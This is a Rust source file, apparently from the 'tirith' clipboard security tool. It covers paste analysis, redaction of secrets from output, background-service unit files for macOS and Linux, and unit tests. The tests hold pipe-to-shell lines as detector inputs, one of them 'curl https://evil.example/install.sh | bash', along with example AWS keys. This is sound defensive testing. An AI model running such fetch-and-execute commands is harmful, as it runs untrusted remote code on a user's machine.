        scan_context: ScanContext::Paste,
        raw_bytes: Some(raw_bytes),
        interactive: false,
        cwd: std::env::current_dir()
            .ok()
            .map(|p| p.display().to_string()),
        file_path: None,
        repo_root: None,
        is_config_override: false,
        clipboard_html: None,
        card_ref: None,
        clipboard_source,
    };
    let (mut verdict, policy) = engine::analyze_returning_policy(&ctx);
    // Paranoia-filter against the exact policy snapshot used by analysis so the
    // clipboard path cannot mix two policy revisions.
    engine::filter_findings_by_paranoia(&mut verdict, policy.paranoia);
    // Keep the complete raw verdict for decisions and audit. External surfaces
    // derive an independently redacted and bounded clone below.
    (verdict, policy.dlp_custom_patterns)
}

fn clipboard_display_verdict(
    verdict: &tirith_core::verdict::Verdict,
    custom_patterns: &[String],
) -> tirith_core::verdict::Verdict {
    let mut display = verdict.clone();
    tirith_core::redact::redact_verdict(&mut display, custom_patterns);
    tirith_core::verdict::bound_verdict_for_output(&mut display);
    display
}

/// Read a file with a hard byte cap. Errors map to a CLI exit code.
fn read_file_capped(path: &Path) -> Result<String, i32> {
    // repo-0367: stat-then-read raced the path and followed symlinks — a
    // zero-length-reported device or a post-stat FIFO swap could block or
    // allocate past the advertised cap. One no-follow, regular-file-only,
    // capped read instead.
    let bytes = match tirith_core::util::read_text_no_follow_capped(path, MAX_COPY_BYTES) {
        Ok(b) => b,
        Err(tirith_core::util::OpenRegularError::TooLarge) => {
            eprintln!(
                "tirith clipboard copy: {} exceeds {} bytes — refusing (the clipboard isn't a blob store)",
                path.display(),
                MAX_COPY_BYTES
            );
            return Err(1);
        }
        Err(_) => {
            eprintln!(
                "tirith clipboard copy: failed to read {} (not a regular, safely-readable file)",
                path.display()
            );
            return Err(1);
        }
    };
    String::from_utf8(bytes).map_err(|_| {
        eprintln!(
            "tirith clipboard copy: {} is not valid UTF-8",
            path.display()
        );
        1
    })
}

/// Print the "no clipboard backend" envelope/notice. `verb` ("scan"/"copy") names the
/// command in stderr mode.
fn emit_no_backend(json: bool, verb: &str) {
    if json {
        let env = ScanEnvelope {
            status: "no_backend",
            verdict: None,
            error: Some("no clipboard backend available (headless display server?)"),
        };
        write_json_or_complain(&env);
    } else {
        eprintln!(
            "tirith clipboard {verb}: no clipboard backend available (headless display server?)"
        );
    }
}

/// SHA-256 hex via the shared core helper (Greptile R1 #6), so debounce key,
/// paste-provenance rule, and `--with-source` all hash content the same way.
fn sha256_hex(bytes: &[u8]) -> String {
    tirith_core::clipboard::content_sha256_hex(bytes)
}

/// Serialize `value` as a single line of JSON to stdout, followed by `\n`.
/// Used by the daemon's per-event emitter. Returns `Ok(())` on success.
fn println_json<T: serde::Serialize>(value: &T) -> std::io::Result<()> {
    let value = serde_json::to_value(value)?;
    let value = tirith_core::verdict::bound_json_value_for_output(value);
    let mut stdout = std::io::stdout().lock();
    serde_json::to_writer(&mut stdout, &value)?;
    writeln!(stdout)
}

/// Pretty-print JSON to stdout. Drops the error to stderr — callers key on the exit code.
fn write_json_or_complain<T: serde::Serialize>(value: &T) {
    let mut stdout = std::io::stdout().lock();
    let value = serde_json::to_value(value).map(tirith_core::verdict::bound_json_value_for_output);
    if value
        .as_ref()
        .map_err(|_| ())
        .and_then(|value| serde_json::to_writer_pretty(&mut stdout, value).map_err(|_| ()))
        .is_err()
        || writeln!(stdout).is_err()
    {
        eprintln!("tirith clipboard: failed to write JSON output");
    }
}

/// Short platform tag for JSON envelopes and human messages.
fn service_platform() -> &'static str {
    #[cfg(target_os = "macos")]
    {
        "macos-launchd"
    }
    #[cfg(target_os = "linux")]
    {
        "linux-systemd-user"
    }
    #[cfg(target_os = "windows")]
    {
        "windows-foreground-only"
    }
    #[cfg(not(any(target_os = "macos", target_os = "linux", target_os = "windows")))]
    {
        "unsupported"
    }
}

fn home_dir_or_none() -> Option<PathBuf> {
    home::home_dir()
}

/// Path install-service writes to. `None` on Windows / unsupported platforms.
fn service_unit_path() -> Option<PathBuf> {
    let home = home_dir_or_none()?;
    #[cfg(target_os = "macos")]
    {
        Some(home.join("Library/LaunchAgents/sh.tirith.clipboard.plist"))
    }
    #[cfg(target_os = "linux")]
    {
        Some(home.join(".config/systemd/user/tirith-clipboard.service"))
    }
    #[cfg(target_os = "windows")]
    {
        let _ = home;
        None
    }
    #[cfg(not(any(target_os = "macos", target_os = "linux", target_os = "windows")))]
    {
        let _ = home;
        None
    }
}

/// Path to the current `tirith` binary for the service's `ExecStart`; falls back to
/// the literal `"tirith"` (PATH at runtime) if `current_exe()` fails.
fn current_tirith_exe() -> String {
    std::env::current_exe()
        .ok()
        .and_then(|p| p.canonicalize().ok())
        .map(|p| p.display().to_string())
        .unwrap_or_else(|| "tirith".to_string())
}

/// Build the platform-correct service unit text. `None` on Windows.
pub(crate) fn render_service_unit() -> Option<String> {
    let exe = current_tirith_exe();

    #[cfg(target_os = "macos")]
    {
        // Code-reviewer fix #6: log to per-user `~/Library/Logs/` not world-writable
        // `/tmp` (a foreign symlink there could redirect the daemon's logs).
        let home = std::env::var("HOME").unwrap_or_else(|_| "/tmp".to_string());
        let out_log = format!("{home}/Library/Logs/sh.tirith.clipboard.out.log");
        let err_log = format!("{home}/Library/Logs/sh.tirith.clipboard.err.log");
        Some(format!(
            r#"<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>sh.tirith.clipboard</string>
    <key>ProgramArguments</key>
    <array>
        <string>{exe}</string>
        <string>clipboard</string>
        <string>daemon</string>
        <string>--foreground</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
    <key>StandardOutPath</key>
    <string>{out_log}</string>
    <key>StandardErrorPath</key>
    <string>{err_log}</string>
    <key>ProcessType</key>
    <string>Background</string>
</dict>
</plist>
"#
        ))
    }

    #[cfg(target_os = "linux")]
    {
        Some(format!(
            "[Unit]\n\
Description=tirith clipboard guard (M7 ch3)\n\
After=graphical-session.target\n\
PartOf=graphical-session.target\n\
\n\
[Service]\n\
Type=simple\n\
ExecStart={exe} clipboard daemon --foreground\n\
Restart=on-failure\n\
RestartSec=5\n\
\n\
[Install]\n\
WantedBy=graphical-session.target\n",
        ))
    }

    #[cfg(target_os = "windows")]
    {
        let _ = exe;
        None
    }

    #[cfg(not(any(target_os = "macos", target_os = "linux", target_os = "windows")))]
    {
        let _ = exe;
        None
    }
}

/// Load the service unit (best effort; verified by `is_service_loaded`).
fn load_service() -> bool {
    #[cfg(target_os = "macos")]
    {
        // `launchctl load -w` is the "enable+load" verb (newer `bootstrap` needs a domain target).
        let path = match service_unit_path() {
            Some(p) => p,
            None => return false,
        };
        std::process::Command::new("launchctl")
            .args(["load", "-w"])
            .arg(&path)
            .status()
            .map(|s| s.success())
            .unwrap_or(false)
    }

    #[cfg(target_os = "linux")]
    {
        // `daemon-reload` so systemd picks up the new unit, then `enable --now`.
        let _ = std::process::Command::new("systemctl")
            .args(["--user", "daemon-reload"])
            .status();
        std::process::Command::new("systemctl")
            .args(["--user", "enable", "--now", "tirith-clipboard.service"])
            .status()
            .map(|s| s.success())
            .unwrap_or(false)
    }

    #[cfg(not(any(target_os = "macos", target_os = "linux")))]
    {
        false
    }
}

/// Unload the service unit. `true` when the unload command reported success.
fn unload_service() -> bool {
    #[cfg(target_os = "macos")]
    {
        let path = match service_unit_path() {
            Some(p) => p,
            None => return false,
        };
        std::process::Command::new("launchctl")
            .args(["unload", "-w"])
            .arg(&path)
            .status()
            .map(|s| s.success())
            .unwrap_or(false)
    }

    #[cfg(target_os = "linux")]
    {
        let _ = std::process::Command::new("systemctl")
            .args(["--user", "disable", "--now", "tirith-clipboard.service"])
            .status();
        true
    }

    #[cfg(not(any(target_os = "macos", target_os = "linux")))]
    {
        false
    }
}

/// Best-effort "is this service running" probe. Never fails the CLI on a
/// launchctl/systemctl absence, and suppresses the probe's stderr so `guard status`
/// stays quiet when the service simply isn't installed.
fn is_service_loaded() -> bool {
    use std::process::Stdio;
    #[cfg(target_os = "macos")]
    {
        // `launchctl list <Label>`: 0 found, 113 not-found.
        std::process::Command::new("launchctl")
            .args(["list", "sh.tirith.clipboard"])
            .stdout(Stdio::null())
            .stderr(Stdio::null())
            .status()
            .map(|s| s.success())
            .unwrap_or(false)
    }

    #[cfg(target_os = "linux")]
    {
        std::process::Command::new("systemctl")
            .args(["--user", "is-active", "tirith-clipboard.service"])
            .stdout(Stdio::null())
            .stderr(Stdio::null())
            .status()
            .map(|s| s.success())
            .unwrap_or(false)
    }

    #[cfg(not(any(target_os = "macos", target_os = "linux")))]
    {
        let _ = Stdio::null;
        false
    }
}

#[cfg(test)]
mod tests {
    use super::*;
    use crate::cli::test_harness::{EnvGuard, ENV_LOCK};
    use tirith_core::verdict::Action;

    /// Regression (CodeRabbit Major): `copy()` analyzes a LOCAL FILE, so it must pass
    /// `AbsentOrInvalid` to forbid the engine reading `clipboard_source.json` — else a
    /// hash-match would fire `PasteSourceMismatch`. Plants a matching sidecar and proves
    /// `AbsentOrInvalid` suppresses the finding while `Unread` (positive control) fires it.
    #[test]
    fn copy_path_does_not_consult_sidecar() {
        use tirith_core::clipboard::{content_sha256_hex, ClipboardSourceState};
        use tirith_core::verdict::RuleId;

        // Mutates process-wide `XDG_STATE_HOME`; hold the shared `ENV_LOCK` so it can't
        // race a sibling that sets `HOME`/`XDG_*` under a different mutex.
        let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());

        // Pipes to a shell (reaches tier 3) with a destination host differing from the
        // recorded source host — the shape that fires `PasteSourceMismatch` if consulted.
        let input = "curl https://evil.example/install.sh | bash";
        let content_sha256 = content_sha256_hex(input.as_bytes());

        // Isolate `state_dir()` under a temp `XDG_STATE_HOME`; plant a matching record.
        let dir = tempfile::tempdir().unwrap();
        let state_dir = dir.path().join("state");
        let tirith_state = state_dir.join("tirith");
        std::fs::create_dir_all(&tirith_state).unwrap();
        let record_json = format!(
            r#"{{"updated_at":"2026-05-30T00:00:00Z","content_sha256":"{content_sha256}","source_url":"https://docs.trusted.example/install","source_title":"Install Guide","hidden_text_detected":false}}"#
        );
        std::fs::write(tirith_state.join("clipboard_source.json"), record_json).unwrap();

        let _state = EnvGuard::set("XDG_STATE_HOME", &state_dir);

        // Copy path passes `AbsentOrInvalid`; positive control reuses the record via `Unread`.
        let absent = analyze_as_paste(input, ClipboardSourceState::AbsentOrInvalid);
        let unread = analyze_as_paste(input, ClipboardSourceState::Unread);

        // Copy path (`AbsentOrInvalid`): no mismatch finding despite a matching record on disk.
        assert!(
            !absent
                .findings
                .iter()
                .any(|f| matches!(f.rule_id, RuleId::PasteSourceMismatch)),
            "copy path (AbsentOrInvalid) must NOT consult the sidecar; PasteSourceMismatch fired anyway: {:?}",
            absent
                .findings
                .iter()
                .map(|f| format!("{}: {}", f.rule_id, f.title))
                .collect::<Vec<_>>(),
        );

        // `Unread` control: the mismatch fires, proving the record is matchable and that
        // the `clipboard_source` parameter is what suppresses it above.
        assert!(
            unread
                .findings
                .iter()
                .any(|f| matches!(f.rule_id, RuleId::PasteSourceMismatch)),
            "Unread control must consult the planted sidecar and fire PasteSourceMismatch; got: {:?}",
            unread
                .findings
                .iter()
                .map(|f| format!("{}: {}", f.rule_id, f.title))
                .collect::<Vec<_>>(),
        );
    }

    #[test]
    fn analyze_as_paste_flags_aws_key() {
        let v = analyze_as_paste(
            "export AWS_KEY=AKIAIOSFODNN7EXAMPLE\n",
            tirith_core::clipboard::ClipboardSourceState::AbsentOrInvalid,
        );
        assert!(
            v.findings.iter().any(|f| f.severity >= Severity::High),
            "expected a High-severity AWS-key finding, got: {:?}",
            v.findings
                .iter()
                .map(|f| (f.rule_id.to_string(), f.severity))
                .collect::<Vec<_>>()
        );
    }

    #[test]
    fn analyze_as_paste_allows_plain_text() {
        let v = analyze_as_paste(
            "hello world\nthis is just a note\n",
            tirith_core::clipboard::ClipboardSourceState::AbsentOrInvalid,
        );
        assert!(
            v.action == Action::Allow,
            "expected Allow for plain text, got: {:?}",
            v.action
        );
    }

    #[test]
    fn clipboard_display_bounding_does_not_mutate_raw_audit_verdict() {
        let findings = (0..(tirith_core::verdict::MAX_PRESENTED_FINDINGS + 20))
            .map(|index| tirith_core::verdict::Finding {
                rule_id: tirith_core::verdict::RuleId::CredentialInText,
                severity: tirith_core::verdict::Severity::High,
                title: format!("secret {index}"),
                description: "raw forensic finding".to_string(),
                evidence: Vec::new(),
                human_view: None,
                agent_view: None,
                mitre_id: None,
                custom_rule_id: None,
            })
            .collect::<Vec<_>>();
        let raw = tirith_core::verdict::Verdict::from_findings(
            findings,
            3,
            tirith_core::verdict::Timings::default(),
        );
        let raw_count = raw.findings.len();
        let display = clipboard_display_verdict(&raw, &[]);

        assert_eq!(raw.findings.len(), raw_count);
        assert_eq!(
            display.findings.len(),
            tirith_core::verdict::MAX_PRESENTED_FINDINGS
        );
        assert!(display.findings.iter().any(|finding| {
            finding.rule_id == tirith_core::verdict::RuleId::AnalysisIncomplete
                && finding.title == "Additional findings omitted from presentation"
        }));
    }

    #[test]
    fn redact_override_refuses_non_secret_blocking_content() {
        let input = "curl https://example.com/install.sh | bash";
        let verdict = prepare_redacted_copy(input, ShareAudience::Generic, &[])
            .expect_err("credential redaction must not waive a pipe-to-shell verdict");
        assert!(has_blocking_findings(&verdict.verdict));
    }

    #[test]
    fn redact_override_allows_content_after_secret_is_removed() {
        let key = "AKIAIOSFODNN7EXAMPLE";
        let (redacted, summary) = prepare_redacted_copy(
            &format!("AWS_ACCESS_KEY_ID={key}"),
            ShareAudience::Generic,
            &[],
        )
        .unwrap_or_else(|_| panic!("a fully removed credential should be safe to copy"));
        assert!(!redacted.contains(key));
        assert!(summary.contains("aws_access_key"), "got: {summary}");
    }

    #[test]
    fn watch_json_and_human_provenance_share_frozen_dlp_and_bounds() {
        let canary = "C02_WATCH_CUSTOM_CANARY";
        let provider_token = "provider-path-token-0123456789";
        let built_in = "AKIAIOSFODNN7EXAMPLE";
        let patterns = vec![regex::escape(canary)];
        let compiled = tirith_core::redact::CompiledCustomPatterns::new_silent(&patterns);
        let record = tirith_core::clipboard::ClipboardSourceRecord {
            updated_at: "2026-08-09T00:00:00Z".to_string(),
            content_sha256: "0".repeat(64),
            source_url: format!(
                "https://user:password@mainnet.infura.io/v3/{provider_token}?token={built_in}#fragment"
            ),
            source_title: format!(
                "title {canary} {built_in}\u{1b}[31m\n{}",
                "oversize ".repeat(crate::cli::PROVENANCE_MAX_CHARS)
            ),
            hidden_text_detected: true,
        };

        let json = watch_source_json(&record, &compiled);
        let serialized = serde_json::to_vec(&json).unwrap();
        assert!(serialized.len() <= tirith_core::verdict::MAX_PRESENTATION_BYTES);
        let serialized_text = String::from_utf8(serialized).unwrap();
        for secret in [canary, provider_token, built_in, "user:password"] {
            assert!(!serialized_text.contains(secret), "JSON leaked {secret}");
        }
        assert!(
            serialized_text.contains("[REDACTED:custom]"),
            "custom DLP marker missing from JSON projection: {serialized_text}"
        );
        assert!(!serialized_text.contains("\\u001b"));
        assert!(!json["source_title"].as_str().unwrap().contains('\n'));
        assert!(
            json["source_title"].as_str().unwrap().chars().count()
                <= crate::cli::PROVENANCE_MAX_CHARS + 1
        );

        let mut human = Vec::new();
        write_watch_source_human(&mut human, &record, &compiled).unwrap();
        assert!(human.len() <= tirith_core::verdict::MAX_PRESENTATION_BYTES);
        let human = String::from_utf8(human).unwrap();
        for secret in [canary, provider_token, built_in, "user:password"] {
            assert!(!human.contains(secret), "human output leaked {secret}");
        }
        assert!(human.contains("[REDACTED:custom]"));
        assert!(!human.contains('\u{1b}'));
        assert_eq!(
            human.lines().count(),
            1,
            "untrusted newline escaped: {human:?}"
        );
        assert!(human.contains("[hidden text detected]"));

        let hostile_path = PathBuf::from(format!(
            "/tmp/{canary}/{built_in}\u{1b}[2J\n{}",
            "p".repeat(crate::cli::PROVENANCE_MAX_CHARS * 2)
        ));
        let start_json = watch_start_json(&hostile_path, &compiled);
        let start_serialized = serde_json::to_vec(&start_json).unwrap();
        assert!(start_serialized.len() <= tirith_core::verdict::MAX_PRESENTATION_BYTES);
        let start_text = String::from_utf8(start_serialized).unwrap();
        assert!(!start_text.contains(canary));
        assert!(!start_text.contains(built_in));
        assert!(!start_text.contains("\\u001b"));
        assert!(start_text.contains("[REDACTED:custom]"));

        let mut start_human = Vec::new();
        write_watch_start_human(&mut start_human, &hostile_path, &compiled).unwrap();
        assert!(start_human.len() <= tirith_core::verdict::MAX_PRESENTATION_BYTES);
        let start_human = String::from_utf8(start_human).unwrap();
        assert!(!start_human.contains(canary));
        assert!(!start_human.contains(built_in));
        assert!(!start_human.contains('\u{1b}'));
        assert!(start_human.contains("[REDACTED:custom]"));
        assert_eq!(start_human.lines().count(), 1);
    }

    #[test]
    fn watch_discovery_is_injected_once_and_uses_remote_replacement_dlp() {
        let calls = std::cell::Cell::new(0usize);
        let canary = "C02_REMOTE_REPLACEMENT_CANARY";
        let compiled = discover_watch_dlp_with(|| {
            calls.set(calls.get() + 1);
            let mut policy = tirith_core::policy::Policy::default();
            policy.scope = tirith_core::policy::PolicyScope::Remote;
            policy.dlp_custom_patterns = vec![regex::escape(canary)];
            policy
        });

        let sanitized = crate::cli::sanitize_provenance_text_with_compiled(
            &format!("remote title {canary}"),
            &compiled,
        );

        assert_eq!(
            calls.get(),
            1,
            "watch policy discovery must run exactly once"
        );
        assert!(!sanitized.contains(canary));
        assert!(sanitized.contains("[REDACTED:custom]"));
    }

    /// `render_service_unit` returns a non-empty payload on supported platforms.
    #[cfg(any(target_os = "macos", target_os = "linux"))]
    #[test]
    fn render_service_unit_emits_nonempty_payload() {
        let s = render_service_unit().expect("supported platform should render unit");
        assert!(!s.is_empty());
    }

    /// macOS unit carries the launchd Label.
    #[cfg(target_os = "macos")]
    #[test]
    fn macos_service_unit_includes_label() {
        let s = render_service_unit().expect("macos should render unit");
        assert!(s.contains("sh.tirith.clipboard"));
        assert!(s.contains("clipboard"));
        assert!(s.contains("daemon"));
        assert!(s.contains("--foreground"));
    }

    /// Linux unit references `graphical-session.target` so it doesn't start in tty-only sessions.
    #[cfg(target_os = "linux")]
    #[test]
    fn linux_service_unit_targets_graphical_session() {
        let s = render_service_unit().expect("linux should render unit");
        assert!(s.contains("graphical-session.target"));
        assert!(s.contains("ExecStart="));
        assert!(s.contains("clipboard daemon --foreground"));
    }

    /// macOS unit logs to `~/Library/Logs/`, not world-writable `/tmp` (Code-reviewer #6:
    /// a foreign symlink in `/tmp` could redirect the daemon's logs).
    #[cfg(target_os = "macos")]
    #[test]
    fn macos_service_unit_logs_to_user_library() {
        let s = render_service_unit().expect("macos should render unit");
        assert!(
            !s.contains("/tmp/tirith-clipboard"),
            "must not log to world-writable /tmp; got: {s}"
        );
        assert!(
            s.contains("Library/Logs/sh.tirith.clipboard"),
            "should log to ~/Library/Logs; got: {s}"
        );
    }

    /// Idempotency: writing the same unit content twice is a no-op on the
    /// second pass (compares file content, not just existence).
    #[cfg(any(target_os = "macos", target_os = "linux"))]
    #[test]
    fn install_service_idempotency_matches_content() {
        // Mirror the `needs_write` predicate used by `install_service`.
        let unit_content = render_service_unit().expect("unit");
        let tmp = tempfile::NamedTempFile::new().unwrap();
        std::fs::write(tmp.path(), &unit_content).unwrap();
        let needs_write_first = !matches!(
            std::fs::read_to_string(tmp.path()),
            Ok(existing) if existing == unit_content
        );
        assert!(!needs_write_first, "matching content must skip the write");

        // Mismatched content → needs_write flips back to true.
        std::fs::write(tmp.path(), b"different content").unwrap();
        let needs_write_second = !matches!(
            std::fs::read_to_string(tmp.path()),
            Ok(existing) if existing == unit_content
        );
        assert!(
            needs_write_second,
            "mismatched content must trigger the write"
        );
    }

    /// `sha256_hex` is a stable 64-char lowercase-hex digest (the debounce key relies on it).
    #[test]
    fn sha256_hex_is_stable_64_lowercase_hex() {
        let h = sha256_hex(b"hello");
        assert_eq!(h.len(), 64);
        assert!(h
            .chars()
            .all(|c| c.is_ascii_hexdigit() && !c.is_uppercase()));
        assert_eq!(h, sha256_hex(b"hello"));
        assert_ne!(h, sha256_hex(b"world"));
    }
}